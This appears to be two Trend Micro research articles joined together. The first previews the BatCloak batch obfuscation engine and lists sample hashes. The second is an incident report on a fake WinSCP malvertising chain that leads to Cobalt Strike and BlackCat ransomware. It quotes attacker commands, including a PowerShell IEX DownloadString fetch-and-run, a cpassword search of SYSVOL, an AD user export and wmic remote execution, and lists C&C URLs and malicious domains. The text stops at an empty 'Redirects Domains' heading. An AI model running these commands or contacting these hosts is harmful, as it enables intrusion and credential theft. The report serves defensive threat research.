This is the first entry in a three-part technical research series taking an in-depth look at the continuing evolution of the highly evasive batch obfuscation engine BatCloak. The second part of this series, “SeroXen Incorporates Latest BatCloak Engine Iteration,” will look into the remote access trojan (RAT) SeroXen, a piece of malware gaining popularity for its stealth and, in its latest iterations, targets gamers, enthusiast communities, and organizations. Aside from the RAT’s own tools, we will look into the updated BatCloak engine included as SeroXen’s loading mechanism. The third and last part of this series, “SeroXen Mechanisms: Exploring Distribution, Risks, and Impact,” will detail the distribution mechanisms of SeroXen and BatCloak. We also include our security insights on the community and demographic impact of this level of sophistication when it comes to batch FUD obfuscation.

Defying detection: A preview of BatCloak engine’s efficacy

We analyzed hundreds of batch samples sourced from a public repository. The results showed a staggering 80% of the retrieved samples exhibiting zero detections from security solutions. This finding underscores the ability of BatCloak to evade traditional detection mechanisms employed by security providers. Moreover, when considering the overall sample set of 784, the average detection rate was less than one, emphasizing the challenging nature of identifying and mitigating threats associated with BatCloak-protected pieces of malware.

fig1-analyzing-the-fud-malware-obfuscation-engine-batcloak
Figure 1. BatCloak detection counts from a public repository; samples and detection results collected from September 2022 to June 2023

Understanding the evolving landscape of advanced malware techniques such as FUD obfuscator BatCloak enables us to develop more effective strategies for combating the ever-evolving threats posed by these sophisticated adversaries. These findings highlight the pressing need for enhanced approaches to malware detection and prevention, such as a cutting-edge multilayered defensive strategy and comprehensive security solutions.

Security teams and organizations are advised to exercise a zero-trust approach. Teams should implement solutions capable of combining multiple rules, filters, and analysis techniques, including data stacking and machine learning to address the need for precise detection, as these tools can analyze individual and dynamic file signatures and observe patterns via heuristics and behavioral analysis. When uncertain of intrusions, behaviors, and routines, assume compromise or breach immediately to isolate affected artifacts or tool chains. With a broader perspective and rapid response, an organization can address these and keep the rest of its systems protected. Multilayered technologies and solutions, such as Trend Micro XDR™️, efficiently monitor, detect, and block tiered threats and attacks, as well as their clones and modified versions.

Instead of marking the end of an infection or an attack prior to the target because of siloed solutions, an extended detection and response capability across endpoint, servers, workloads, email, network, cloud, and identity observed from a single platform like Trend Vision One™️ can mitigate these risks by considering adversarial tactics, techniques, and procedures (TTPs) to profile the entirety of a routine. Trend Vision One also correlates with a connected threat intelligence system and rapidly prioritizes and responds with the necessary security and defensive actions as far left of the routine as possible.

Download the first part of our analysis on BatCloak engine here, and the indicators of compromise (IOCs) here and below :

The Dark Evolution: Advanced Malicious Actors Unveil Malware Modification Progression

BatCloak Indicators of Compromise (IOCs)

SHA256 of Trojan.BAT.BATCLOAK.A:

4981e6c42e66972a94077e3407823e212b7499f4be14c18e32e446b6bd5566d6
02169ca4a1fcaec423fdf033794f88266f1dec691ee527f91d9ef444b9e8fd00
024121ce693560695ffbb31714145647039dd0a33c7a637614ee3d408dd88c9b
02cd4e343fdfe9246977bd997ae7faa91b469df0bc9ed4c20cc2fa7898cb54e3
036132bcdc00e75dd71b6cba78c976ec50a52fd1b891a4f873bde87269007e0d
05e50707fc035d4045f52538cbd40df61bfc342ce90578780f169b0148e9e48a
06ee424a019da7a98de8ce82fde4b37037fd59f5f72ed882f63e7d054515785c
0a485b2a30d7818cadedc4b5c8d6a04cee2b4e98d58e292c4f6febc25553a43f
0ce9c7a4bc46fe2f92adf194767f02b460283ebd2100a4c4b6d9c8c03f05cc51
0e44555e8804fc351ca7b5369fef719691ebe3ac2e2dee92abe1359b06327ec3
0ea6d6a7f9532f5d6f2f1438349587aae83b7d82f7e92b3daa2b51658183308a
0f379d61a334d1cce8b67940696c527bb76392bdfae9f41bd4ea159aa0e8794e
1264fbc6fb67678c410dcea283342189c3f5a62b2cebfbbef3e5e88cae40c299
1cbab58e69089b40b0eca4aafa33bfb734707885c9d482f58da7fd2f22fa3f07
1ff46fa8630fe6104b6b31e88b4227474faa5b4891952381d745f0b6c1194d9a
2705be6a7e9fe94d0c90127bdd5cd3677af9a713b99ffaa302cd03d835b5b193
2fca9a8b9c2843001dd1f7d668f94f4aef6cf9fbfe0968dabd38c59f7ad7bf1b
378eea991cec20b879983f25c03c72d9c6492759ff0306267bb0af1934cecb5b
3ac9136078f802199506b4ce532fd221201b15d7d4eb84ce8a5128409d821c46
50e7ddd4d1fd4d6f57e5a39f9e31f20ea967a032ab60458af63bb43c0996b67b
545fa399c3d25ddeb9b1ce7dff99faf86b761937681a02377f6b22bab6953f74
57b573189433839f49b3694fb9dde7d6361a70d0d6d01b8bb5c052ac35e64966
5b1d862533bf0c6eddf0add97fe1d91f24489c9d43dba021a6cd433465abe670
5dc6ddbadfe77dae58755ab3524b8366ac52d6e4b0636cd5e88a9ee83fec93dd
66fbf321cb983176ab327c9357ab6970235263ed1f363960aa512adb255ce327
6fb3642107a5e541be64be269c91de20f10b5aba238a3552c0815ca290f0035e
720ec08526839f9f558439edeb86b0e30ed782edf0cfcc9709157e9963801a5c
735e591c7e0667087aff75f9923a7653b4f9661838e947d842171c20773a8913
73630f5690a1882296878e02fb9ef6ca8ab5f85bc60305682a872096ab59685e
7d1b4c45622ec5efebe8d6ef266a8ff8499285162305f2eb8eb3d09362b032dd
7dfe5e29b6278ddefa27217c26e09cd70c9ce2c920e30dd8e11d29b161a59fad
83046ab10ae92c337f7837191014d6f4aa792575947ad2ebbbdde247edabffad
846d4cf9af2e431ca61a7378fca693acc8cdf31348ce3bb09917de12e8a3de95
895d8257fc523a824e2eaf5a62a94e3cf2a3b87b797f696aa028f8443dd7a5e1
8ae18fc31866c3a35ede249b97457598e78cb6a0988df1dd58b9ddb1f3e88c05
8cf47ef94a01172ac5ed78fa657a2406e199691df02d58630d9b845dfd05007c
8df68758b29abe5c0807cc74221617052a175619121c1b41c1462e2e2c12d080
943c7e473924ff1efd4925eb8f2bf745008365f0256567009e5eb6d6b2f17e65
978361f5cea5e7b2ff801b74ed02a7e0a57ed80ac37c01a403b0614e789765c4
9949481d6311a298b4de1ac0d24d85583c8386bd03dc69cbb5995de475859ebc
994a9f76be5355444056833e0fdf5f9408ce6a028578571caa7eaaeb7176d50d
9c51fec7f9c7217fbaffef2e9476b1c74c6f9abdcfd68f58009307d3a1ced344
a07e12074c4013ff9a16b41822b9c2025fd42c2a6bb749f2489d533c73257bea
ab0e910f7470bbe3f612646e420836937bb26dbf87b2df48d47480d2835f384a
abd92088dc5a7a67ed7f0f27fac6b90cd3042f9c1966b3ec35798e3cf9d0b4ec
b0da1288c592b5710ec6e33f0af7dd69f3264e98c7fcdc0089e9a26e1ebf607a
b12ce995e5f3bd33f290be5ccd80ba847fcbde0d41ea53b8cb9f7f7cb25ab98d
b9077ca1640423f6b085d5b72e6bd0aac7877b6f40886db9f5e150cc5ca4bf9f
bb505db4936541c964c4f8c59e520b89ce83db76564f57548eebe8630758888a
c1e77860cd66a98f34ba4cf5bf55370d35bfba1950b6f79a84ab2f90c48fed86
c4ec0641549cdb66a8f9040a53d9ead724a0e2902866b43221e02c2c4fdcb900
c737111db0397904414e315dbe4604f1705b3cd7ee5579d6c0751752de25877d
c9259d18c1ba7e446406e206e0769ed74acc55c0cf40608c3e3d3ef6cc0e56c7
cda4e8d85f718233b93c4cfad2c28d333ffec523ebd32b1af47b6fa7c26345e6
cf8d86c39f7e76c889b6409ed9477c7b91f9424f491fb835f3643d8d55d5fd9e
d3fe2ae10b1c2dd2cf7339ba91bb4fac4454149361a3a9e8069901e3ea56ea8b
d45b5fde0b10a7d8a3227fac8b7af6f01adc8e78d6adc350588b7cebdd1c5894
d84390808d5a83d58d6f5544f9a717e736be234d18b4b607d8b8e842fb935d24
d8cde0701032e03ff9739889872547325881383791961a67ddebf07f8b80ab6a
d9afd0b9174140c001d6b0c60d02f5ba0469a14733a159c0e44045641b814aa1
daa08a205eec4e318c3f3eb6a001ec5ae16d3870ca1f05b3e8bb6838082910d9
de1356d868e63b027791957accaa3087f18901ae87eb01f6f09b7b88e6958e79
df5497ffb3b407397424ce7992ed62d8907d570668c79f9daef40863702349c0
e101b85439062a92773b046bee20d076513b81ddaa946c28096454c9fb934e19
f52ee895d9e8fd600ce4ea05d4a95443c8916af33a1b7b8b668007813fb61f8b
f62a915f1add8b29ebea13db7bc9c9314557f579631d0bebc3dc7044eaf7bbd7
f6a31c5a33d8b8dd38f39e31f27a32616cef12340c5a1b5914f8105abd22a710
fddce59e2c24f44c73c9913ca2415ec95f5a92cb2d94426aa4f8821952f2ddc2
fff222ff3c259db64dbd18e9382cc47ce8577a4069ba05b6db11b6b52d654294

Source :
https://www.trendmicro.com/en_us/research/23/f/analyzing-the-fud-malware-obfuscation-engine-batcloak.html

Malvertising Used as Entry Vector for BlackCat, Actors Also Leverage SpyBoy Terminator

By: Lucas Silva, RonJay Caragay, Arianne Dela Cruz, Gabriel Cardoso
June 30, 2023
Read time: 7 min (1889 words)

Recently, the Trend Micro incident response team engaged with a targeted organization after having identified highly suspicious activities through the Targeted Attack Detection (TAD) service. In the investigation, malicious actors used malvertising to distribute a piece of malware via cloned webpages of legitimate organizations. In this case, the distribution involved a webpage of the well-known application WinSCP, an open-source Windows application for file transfer.

Advertising platforms like Google Ads enable businesses to display advertisements to target audiences to boost traffic and increase sales. Malware distributors abuse the same functionality in a technique known as malvertising, where chosen keywords are hijacked to display malicious ads that lure unsuspecting search engine users into downloading certain types of malware.

The targeted organization conducted a joint investigation with the Trend team and discovered that cybercriminals performed the following unauthorized and malicious activities within the company’s network:

  • Stole top-level administrator privileges and used these privileges to conduct unauthorized activities
  • Attempted to establish persistence and backdoor access to the customer environment using remote management tools like AnyDesk
  • Attempted to steal passwords and tried to access backup servers

It is highly likely that the enterprise would have been substantially affected by the attack if intervention had been sought later, especially since the threat actors had already succeeded in gaining initial access to domain administrator privileges and started establishing backdoors and persistence.

The following chart represents how the infection starts.

Infection chain of the observed attack
Figure 1. Infection chain of the observed attack

In the following sections, we discuss the details of this case: how threat actors made the initial access, what kind of attacks they carried out, and the lessons that can be drawn from this event.

Deep dive into the infection chain

The infection starts once the user searches for “WinSCP Download” on the Bing search engine. A malicious ad for the WinSCP application is displayed above the organic search results. The ad leads to a suspicious website containing a tutorial on how to use WinSCP for automating file transfer.

A suspicious site from a malvertisement
Figure 2. A suspicious site from a malvertisement

From this first page, the user is then redirected to a cloned download webpage of WinSCP (winsccp[.]com). Once the user selects the “Download” button, an ISO file is downloaded from an infected WordPress webpage (hxxps://events.drdivyaclinic[.]com). Recently, the malicious actor changed their final stage payload URL to the file-sharing service 4shared.

Malicious download site
Figure 3. Malicious download site

The overall infection flow involves delivering the initial loader, fetching the bot core, and ultimately, dropping the payload, typically a backdoor.

In summary, the malicious actor uses the following malvertising infection chain:

  1. A user searches for an application by entering a search term in a search bar (such as Google or Bing). In this example, the user wants to download the WinSCP application and enters the search term “WinSCP Download” on the Bing search bar.
  2.  Above the organic search results, the user finds a malvertisement for the WinSCP application that leads to a malicious website.
  3. Once the user selects the “Download” button, this begins the download of an ISO file to their system.

On Twitter, user @rerednawyerg first spotted the same infection chain mimicking the AnyDesk application. Once the user mounts the ISO, it contains two files, setup.exe and msi.dll. We list the details of these two files here:

  • Setup.exe: A renamed msiexec.exe executable
  • Msi.dll: delayed-loaded DLL (not loaded until a user’s code attempts to reference a symbol contained within the DLL) that will act as a dropper for a real WinSCP installer and a malicious Python execution environment responsible for downloading Cobalt Strike beacons.
The files downloaded once a user mounts the ISO
Figure 4. The files downloaded once a user mounts the ISO

Once setup.exe is executed, it will call the msi.dll that will later extract a Python folder from the DLL RCDATA section as a real installer for WinSCP to be installed on the machine. Two installations of Python3.10 will be created — a legitimate python installation in %AppDataLocal%\Python-3.10.10 and another installation in %Public%\Music\python containing a trojanized python310.dll. Finally, the DLL will create a persistence mechanism to make a run key named “Python” and the value C:\Users\Public\Music\python\pythonw.exe.

The run key named “Python”
Figure 5. The run key named “Python”

When the executable pythonw.exe starts, it loads a modified/trojanized obfuscated python310.dll that contains a Cobalt Strike beacon that connects to 167[.]88[.]164[.]141.

The following command-and-control (C&C) servers are used to obtain the main beacon module:

File nameC&C
pp.pyhxxps://167.88.164.40/python/pp2
work2.pyhxxps://172.86.123.127:8443/work2z
work2-2.pyhxxps://193.42.32.58:8443/work2z
work3.pyhxxps://172.86.123.226:8443/work3z

Multiple scheduled tasks executing batch files for persistence were also created in the machine. These batch files execute Python scripts leading to in-memory execution of Cobalt Strike beacons. Interestingly, the Python scripts use the marshal module to execute a pseudo-compiled (.pyc) code that is leveraged to download and execute the malicious beacon module in memory.

The Trend Vision One™ platform was able to generate the following Workbench for the previously mentioned kill chain.

Kill chain for the executed malware
Figure 6. Kill chain for the executed malware

The threat actor used a few other tools for discovery in the customer’s environment. First, they used AdFind, a tool designed to retrieve and display information from Active Directory (AD) environments. In the hands of a threat actor, AdFind can be misused for enumeration of user accounts, privilege escalation, and even password hash extraction.

In this case, the threat actor used it to fetch information on the operating system using the command adfind.exe -f objectcategory=computer -csv name cn OperatingSystem dNSHostName. The command specifies that it wants to retrieve the values of the name, common name (CN), operating system, and dNSHostName attributes for each computer object and output its result in a CSV format.

The threat actor used the following PowerShell command to gather user information and to save it into a CSV file:

Get-ADUser -Filter * -Properties * | Select -Property EmailAddress,GivenName,Surname,DisplayName,sAMAccountName,Title,Department,OfficePhone,MobilePhone,Fax,Enabled,LastLogonDate | Export-CSV “C:\users\public\music\ADusers.csv” -NoTypeInformation -Encoding UTF8

We also observed that the threat actor used AccessChk64, a command-line tool developed by Sysinternals that is primarily used for checking the security permissions and access rights of objects in Windows. Although the threat actor’s purpose for using the tool in this instance is not clear, it should be noted that the tool can be used for gaining insights on what permissions are assigned to users and groups, as well as for privilege escalation and the identification of files, directories, or services with weak access control settings. 

The threat actor then used findstr, a command-line tool in Windows used for searching strings or regular expressions within files by using the command findstr /S /I cpassword \\<REDACTED>\sysvol\<REDACTED>\policies\*.xml.

It is possible that the purpose of this command is to identify any XML files that contain the string cpassword. This is interesting from a security context since cpassword is associated with a deprecated method of storing passwords in Group Policy Preferences within AD.

How finsdtr is used in the attack
Figure 7. How finsdtr is used in the attack

We also observed the execution of scripts with PowerShell. For instance, the command IEX (New-Object Net.Webclient).DownloadString(‘hxxp://127[.]0[.]0[.]1:40347/’); Invoke-FindLocalAdminAccess -Thread 50” it invokes a PowerShell function called Invoke-FindLocalAdminAccess and passes the parameter -Thread with a value of 50. This function is likely part of a script that performs actions related to finding local administrator access on a system.

Another PowerShell script used by the threat actor was PowerViewPowerView, which belongs to the PowerSploit collection of scripts used to assist in penetration testing and security operations, focuses on AD reconnaissance and enumeration and is commonly used by threat actors to gather information about the AD environment.

PowerShell Expand-Archive command was used to extract the ZIP files.  

powershell -w hidden -command Expand-Archive C:\users\public\videos\python.zip -DestinationPath C:\users\public\videos\python

WMI was used to launch CoBeacon remotely across the environment. 

C:\WINDOWS\system32\cmd.exe /C wmic /NODE:”<REDACTED>” process call create C:\users\public\videos\python\pythonw.exe C:\users\public\videos\python\work2-2.py

To obtain high-privileged credentials and escalate privileges, the threat actor used a Python script also containing the marshal module to execute a pseudo-compiled code for LaZagne. Another script to obtain Veeam credentials following the same structure was also identified in the environment.

PsExec, BitsAdmin, and curl were used to download additional tools and to move laterally across the environment.

The threat actor dropped a detailed KillAV BAT script (KillAV is a type of malicious software specifically designed to disable or bypass antivirus or antimalware programs installed on a target system) to tamper with Trend protections. However, due to the agent’s Self-Protection features and VSAPI detections, the attempt failed. The threat actors also made attempts to stop Windows Defender through a different KillAV BAT script.

Finally, the threat actor installed the AnyDesk remote management tool (renamed install.exe) in the environment to maintain persistence.

Remote management tool installed for persistence
Figure 8. Remote management tool installed for persistence

After a diligent and proactive response, the attacker was successfully evicted from the network before they could reach their goal or execute their final payload. The incident response team also presented immediate countermeasures as well as medium- and long-term security procedures for implementation.

BlackCat uses the same tools, techniques, and procedures (TTPs)

In another investigation, following the same TTPs described previously described, we were able to identify that this activity led to a BlackCat (aka ALPHV) infection. Along with other types of malware and tools already mentioned, we were able to identify the use of the anti-antivirus or anti-endpoint detection and response (EDR) SpyBoy terminator in an attempt to tamper with protection provided by agents.

In order to exfiltrate the customer data, the threat actor used PuTTY Secure Copy client (PSCP) to transfer the gathered information. Investigating one of the C&C domains used by the threat actor behind this infection also led to the discovery of a possible related Cl0p ransomware file.

Files indicating possible Cl0p ransomware file
Figure 9. Files indicating possible Cl0p ransomware file

Conclusion and recommendations

In recent years, attackers have become increasingly adept at exploiting vulnerabilities that victims themselves are unaware of and have started employing behaviors that organizations do not anticipate. In addition to a continuous effort to prevent any unauthorized access, early detection and response within an organization’s network is critical. Immediacy in remediation is also essential, as delays in reaction time could lead to serious damage.

By understanding attack scenarios in detail, organizations can not only identify vulnerabilities that could lead to compromise and critical damage but also take necessary measures to prevent them.

Organizations can protect themselves by taking the following security measures:

  • Educate employees about phishing. Conduct training sessions to educate employees about phishing attacks and how to identify and avoid them. Emphasize the importance of not selecting suspicious links and not downloading files from unknown sources.
  • Monitor and log activities. Implement a centralized logging system to collect and analyze logs from various network devices and systems. Monitor network traffic, user activities, and system logs to detect any unusual or suspicious behavior.
  • Define normal network traffic for normal operations. Defining normal network traffic will help identify abnormal network traffic, such as unauthorized access.
  • Improve incident response and communication. Develop an incident response plan to guide your organization’s response in case of future breaches. Establish clear communication channels to inform relevant stakeholders, including employees, customers, and regulatory bodies, about a breach and the steps being taken to address it.
  • Engage with a cybersecurity professional. If your organization lacks the expertise or resources to handle the aftermath of a breach effectively, consider engaging with a reputable cybersecurity firm to assist with incident response, forensic analysis, and security improvements.

Indicators of Compromise (IOCs)

The full list of IOCs can be found here and below :

Malvertising Used as Entry Vector for BlackCat, Actors Also Leverage SpyBoy Terminator

[+] File IOCs
SHA-256									Detection name
25467df66778077cc387f4004f25aa20b1f9caec2e73b9928ec4fe57b6a2f63c 	Trojan.Win64.COBEACON.SWG
4a4d20d107ee8e23ce1ebe387854a4bfe766fc99f359ed18b71d3e01cb158f4a 	Trojan.Win64.COBEACON.SWG
13090722ba985bafcccfb83795ee19fd4ab9490af1368f0e7ea5565315c067fe 	Trojan.Win64.COBEACON.SWG
									Troj.Win32.TRX.XXPE50FFF069
8859a09fdc94d7048289d2481ede4c98dc342c0a0629cbcef2b91af32d52acb5  	Trojan.Win64.COBEACON.SWG
bacbe893b668a63490d2ad045a69b66c96dcacb500803c68a9de6cca944affef  	Trojan.Win64.COBEACON.SWG
c7a5a4fb4f680974f3334f14e0349522502b9d5018ec9be42beec5fa8c1597fe  	Trojan.Win64.COBEACON.SWG
3ce4ed3c7bd97b84045bdcfc84d3772b4c3a29392a9a2eee9cc17d8a5e5403ce  	Trojan.Win64.COBEACON.SWG
21e7bcc03c607e69740a99d0e9ae8223486c73af50f4c399c8d30cce4d41e839  	Trojan.Win64.COBEACON.SWG
e5db80c01562808ef2ec1c4b8f3f033ac0ed758d 				Backdoor.Python.COBEACON.C
cfbde85bdb62054b5b9eb4438c3837b9f1a69f61 				Backdoor.Python.COBEACON.C
3b14559a6e33fce120a905fde57ba6ed268a51f1  				Backdoor.Python.COBEACON.C
aae1b17891ec215a0e238f881be862b4f598e46c  				Backdoor.Python.COBEACON.C
c82b28daeb33d94ae3cafbc52dbb801c4a5b8cfa  				Backdoor.Python.COBEACON.C
d2663fc6966c197073c7315264602b4c6ba9c192  				Trojan.BAT.COBEACON.AO
c7568d00ae38b3a4691a413ed439a0e3fb5664b1  				Trojan.BAT.COBEACON.AO
61e41be7a9889472f648a5a3d0b0ab69e2e056c5  				Trojan.BAT.COBEACON.AO
69ffad6be67724b1c7e8f65e8816533a96667a36  				Trojan.XML.COBEACON.F
c1516915431cb55703b5a88d94ef6de0ac67190a  				Trojan.XML.COBEACON.F
a7b1853348346d5d56f4c33f313693a18b6af457  				Trojan.XML.COBEACON.F
ac8e3146f41845a56584ce5e8e172a56d59aa804  				Trojan.XML.COBEACON.F
e5d434dfa2634041cdbdac1dec58fcd49d629513  				Trojan.BAT.KILLAV.WLEBG
42da9e9e3152c1d995d8132674368da4be78bf6a  				Trojan.BAT.COBEACON.AO.dldr
5cbb6978c9d01c8a6ea65caccb451bf052ed2acd  				HackTool.Win32.Adfind.VSNW1FE23
a9310c3f039c4e2184848f0eb8e65672f9f11240  				TrojanSpy.Python.CREAL.A
5e36a649c82fa41a600d51fe99f4aa8911b87828  				HackTool.Python.LaZagne.AD
5263a135f09185aa44f6b73d2f8160f56779706d  				HackTool.PS1.VeeamCreds.A
75d02e81cc326e6a0773bc11ffa6fa2f6fa5343e  				TROJ.Win32.TRX.XXPE50FFF069
9d85cb2c6f1fccc83217837a63600b673da1991a  				TROJ.Win32.TRX.XXPE50FFF069
2f2eb89d3e6726c6c62d6153e2db1390b7ae7d01  				TROJ.Win32.TRX.XXPE50FFF069
7d500a2cd8ea7e455ae1799cb4142bb2abac3ae1  				TROJ.Win32.TRX.XXPE50FFF069
0362c710e4813020147f5520a780a15ef276e229  				Troj.Win32.TRX.XXPE50FFF069
									Troj.Win32.TRX.XXPE50FFF069R450C 
									TROJ.Win32.TRX.XXPE50FLM011
fb2ef2305511035e1742f689fce928c424aa8b7d  				Troj.Win32.TRX.XXPE50FFF069 
									Troj.Win32.TRX.XXPE50FFF069R450C 
									TROJ.Win32.TRX.XXPE50FLM011
7874d722a6dbaef9e5f9622d495f74957da358da  				Troj.Win32.TRX.XXPE50FFF069 
									Troj.Win32.TRX.XXPE50FFF069R450C 
									TROJ.Win32.TRX.XXPE50FLM011
06e3f86369046856b56d47f45ea2f7cf8e240ac5  				Troj.Win32.TRX.XXPE50FFF069 
									Troj.Win32.TRX.XXPE50FFF069R450C 
									TROJ.Win32.TRX.XXPE50FLM011
36b454592fc2b8556c2cb983c41af4d2d8398ea2  				Troj.Win32.TRX.XXPE50FFF068
337ca5eefe18025c6028d617ee76263279650484  				TROJ_GEN.R002C0DCS23
e862f106ed8e737549ed2daa95e5b8d53ed50f87  				TROJ_GEN.R002C0PFK23
2a85cdfb1c3434d73ece7fe60d6d2d5c9b7667dd  				Troj.Win32.TRX.XXPE50FFF068
d883be0ee79dec26ef8c04e0e2857a516cff050c  				TROJ.Win32.TRX.XXPE50FLM011
a0f1a8462cb9105660af2d4240e37a27b5a9afad  				Ransom.Win32.BLACKCAT.SMYPCC5
ab0eade9b8d24b09e32aa85f78a51b777861debc  				Ransom.Win32.BLACKCAT.SMYPCC5
0cc0e1cbf4923d2ce7179064c244fe138dcb3ce8  				Ransom.Win32.BLACKCAT.SMYPCC5
3789a218c966f175067242975e1cb44abdef81ec  				Ransom.Win32.BLACKCAT.SMYPCC5
83c5f8821f9a07e0318beaa4bcf0b7ef21127aa8  				Ransom.Win32.BLACKCAT.SMYPCC5
08f63693bb40504b71fe3e4e4d9e7142c011aeb1  				Ransom.Win32.BLACKCAT.SMYPCC5
b34bb1395199c7b168d9204833fdfd13d542706d  				Ransom.Win32.BLACKCAT.SMYPCC5
5c6aa1a5bd7572ac8e91eaa5c9d6096f302f775b  				Ransom.Win32.BLACKCAT.SMYPCC5
9480a79b0b6f164b1148c56f43f3d505ee0b7ef3  				Ransom.Win32.BLACKCAT.SMYPCC5
7874d722a6dbaef9e5f9622d495f74957da358da  				Ransom.Win32.BLACKCAT.SMYPCC5
9b1ebbe03949e0c16338595b1772befe276cd10d  				Ransom.Win32.BLACKCAT.SMYPCC5
801950ed376642e537466795f92b04e13a4fcc2a  				Ransom.Win32.BLACKCAT.SMYPCC5
1ca4e3fdcdf8a9ab095cfa0629750868eb955eb7  				Ransom.Win32.BLACKCAT.SMYPCC5
42920e4d15428d4e7a8f52ae703231bdf0aec241  				Ransom.Win32.BLACKCAT.SMYPCC5
06e3f86369046856b56d47f45ea2f7cf8e240ac5  				Ransom.Win32.BLACKCAT.SMYPCC5
f42e97901a1a3b87b4f326cb9e6cbdb98652d900  				Ransom.Win32.BLACKCAT.SMYPCC5
d125c4f82e0bbf369caf1be524250674a603435c  				Ransom.Win32.BLACKCAT.SMYPCC5
03d7bc24d828abaf1a237b3f418517fada8ae64f  				Ransom.Win32.BLACKCAT.SMYPCC5
c133992ea87f83366e4af5401a341365190df4e7  				Ransom.Win32.BLACKCAT.SMYXCCN.note
b35be51d727d8b6f8132850f0d044b838fec001d  				Ransom.Win32.BLACKCAT.SMYXCCN.note
fd84cf245f7a60c38ac7c92e36458c5ea4680809  				Ransom.Win32.BLACKCAT.SMYXCCN.note
946c0a0c613c8ac959d94bb2fd152c138fc752da  				Ransom.Win32.BLACKCAT.SMYXCCN.note
7b3051f8d09d53e7c5bc901262f5822f1999caae  				Ransom.Win32.BLACKCAT.SMYXCCN.note
eeff22b4a442293bf0f5ef05154e8d4c7a603005  				Ransom.Win32.BLACKCAT.SMYXCCN.note
2547d2deedc385f7557d5301c19413e1cbf58cf8  				Ransom.Win32.BLACKCAT.SMYXCCN.note
0437f84967de62d8959b89d28a56e40247b595d8  				Ransom.Win32.BLACKCAT.SMYXCCN.note
105d33c00847ccd0fb230f4a7457e8ab6fb035fc  				Ransom.Win32.BLACKCAT.SMYXCCN.note
5831b3a830690c603fd093329dce93b9a7e83ad3  				Ransom.Win32.BLACKCAT.SMYXCCN.note
a5c164b734a8b61d8af70257e23d16843a4c72e3  				Ransom.Win32.BLACKCAT.SMYXCCN.note
1aff9fd8fdc0eae3c09a3ee6b4df2cdb24306498  				Ransom.Win32.BLACKCAT.SMYXCCN.note
3d4051c65d1b5614af737cb72290ec15b71b75bd  				Ransom.Win32.BLACKCAT.SMYXCCN.note
a116ef48119c542a2d864f41dbbb66e18d5cd4e6  				Ransom.Win32.BLACKCAT.SMYXCCN.note
508e7522db24cca4913aeed8218975c539d3b0a4  				Ransom.Win32.BLACKCAT.SMYXCCN.note
72603dadebc12de4daf2e12d28059c4a3dcf60d0  				Ransom.Win32.BLACKCAT.SMYXCCN.note
930bd974a2d01393636fdb91ca9ac53256ff6690  				Ransom.Win32.BLACKCAT.SMYXCCN.note
a9a03d39705bd1d31563d7a513a170c99f724923  				Ransom.Win32.BLACKCAT.SMYXCCN.note
c14bd9ad77d8beca07fb17dc34f8a5f636e621b5  				Ransom.Win32.BLACKCAT.SMYXCCN.note
01b122eb0edb6274b3743458e375e34126fd2f9a  				Ransom.Win32.BLACKCAT.SMYXCCN.note
b98bb7b4c3b823527790cb62e26d14d34d3e499b  				Ransom.Win32.BLACKCAT.SMYXCCN.note
381058a5075ce06605350172e72c362786e8c5e3  				Ransom.Win32.BLACKCAT.SMYXCCN.note
75e9d507b1a1606a3647fe182c4ed3a153cecc2c  				Ransom.Win32.BLACKCAT.SMYXCCN.note
cd485054625ea8ec5cf1fe0e1f11ede2e23dde00  				Ransom.Win32.BLACKCAT.SMYXCCN.note
c9cdfdc45b04cca45b64fedca7c372f73b42cab2  				Ransom.Win32.BLACKCAT.SMYXCCN.note
31d4dadd11fe52024b1787a20b56700e7fd257f8  				Ransom.Win32.BLACKCAT.SMYXCCN.note
0fe306dc12ba6441ba2a5cab1b9d26638c292f9c  				Ransom.Win32.BLACKCAT.SMYXCCN.note
bc0fb6b220045f54d34331345d1302f9a00b3580  				Ransom.Win32.BLACKCAT.SMYXCCN.note
b4f59fe2ee3435b9292954d1c3ef7e74c233abea  				Ransom.Win32.BLACKCAT.SMYXCCN.note
aee0b252334b47a6e382ce2e01de9191de2e6a7a  				Ransom.Win32.BLACKCAT.SMYXCCN.note
92673b91d2c86309f321ade6a86f0c9e632346d8  				Ransom.Win32.BLACKCAT.SMYXCCN.note
de7fb8efa05ddf5f21a65e940717626b1c3d6cb4  				Ransom.Win32.BLACKCAT.SMYXCCN.note
5f455dcdca66df9041899708289950519971bb76  				Ransom.Win32.BLACKCAT.SMYXCCN.note
5ed1b9810ee12d2b9b358dd09c6822588bbb4a83  				Ransom.Win32.BLACKCAT.SMYXCCN.note
c779a4a98925bc2f7feac91c1867a3f955462fc2  				Ransom.Win32.BLACKCAT.SMYXCCN.note
cb358aa4ed50db8270f3ee7ea5848b8c16fa21fe  				Ransom.Win32.BLACKCAT.SMYXCCN.note
5ec6b30dacfced696c0145a373404e63763c2fa8  				Ransom.Win32.BLACKCAT.SMYXCCN.note
f2f5137c28416f76f9f4b131f85252f8273baee8  				Ransom.Win32.BLACKCAT.SMYXCCN.note
12534212c7d4b3e4262edc9dc2a82c98c2121d04  				Ransom.Win32.BLACKCAT.SMYXCCN.note
bc09ee8b42ac3f6107ab5b51a2581a9161e53925  				Ransom.Win32.BLACKCAT.SMYXCCN.note
152400be759355ec8dd622ec182c29ce316eabb1  				Ransom.Win32.BLACKCAT.SMYXCCN.note
379e497d0574fd4e612339440b603f380093655c  				Ransom.Win32.BLACKCAT.SMYXCCN.note
141c7b9be4445c1aad70ec35ae3fe02f5f8d37ac  				Ransom.Win32.BLACKCAT.SMYXCCN.note
27e9e6a54d73dcb28b5c7dfb4e2e05aaba913995  				Ransom.Win32.BLACKCAT.SMYXCCN.note
ad981cd18f58e12db7c9da661181f6eb9a1754f3  				Ransom.Win32.BLACKCAT.SMYXCCN.note
4829eaa38bd061773ceefe175938a2c0d75a75f3  				Ransom.Win32.BLACKCAT.SMYXCCN.note
b0d61d1eba9ebf6b7eabcd62b70936d1a343178e  				Ransom.Win32.BLACKCAT.SMYXCCN.note
014c277113c4b8c4605cb91b29302cdedbc2044e  				Ransom.Win32.BLACKCAT.SMYXCCN.note
974c1684cf0f3a46af12ba61836e4c161fd48cb5  				Ransom.Win32.BLACKCAT.SMYXCCN.note
913414069259e760e201d0520ce35fe22cf3c285  				Ransom.Win32.BLACKCAT.SMYXCCN.note

[+] Network IOCs
Distribution URLs
https://cuororeresteadntno.com/how-to-work-with-ftp-ftps-connection-through-winscp/ = 78. Malware Accomplice
https://airplexacrepair.com/the-key-to-secure-remote-desktop-connections-a-comprehensive-guide/ = 78. Malware Accomplice
https://maker-events.com/automating-file-transfers-with-winscp/ = 78. Malware Accomplice

Redirects Domains:
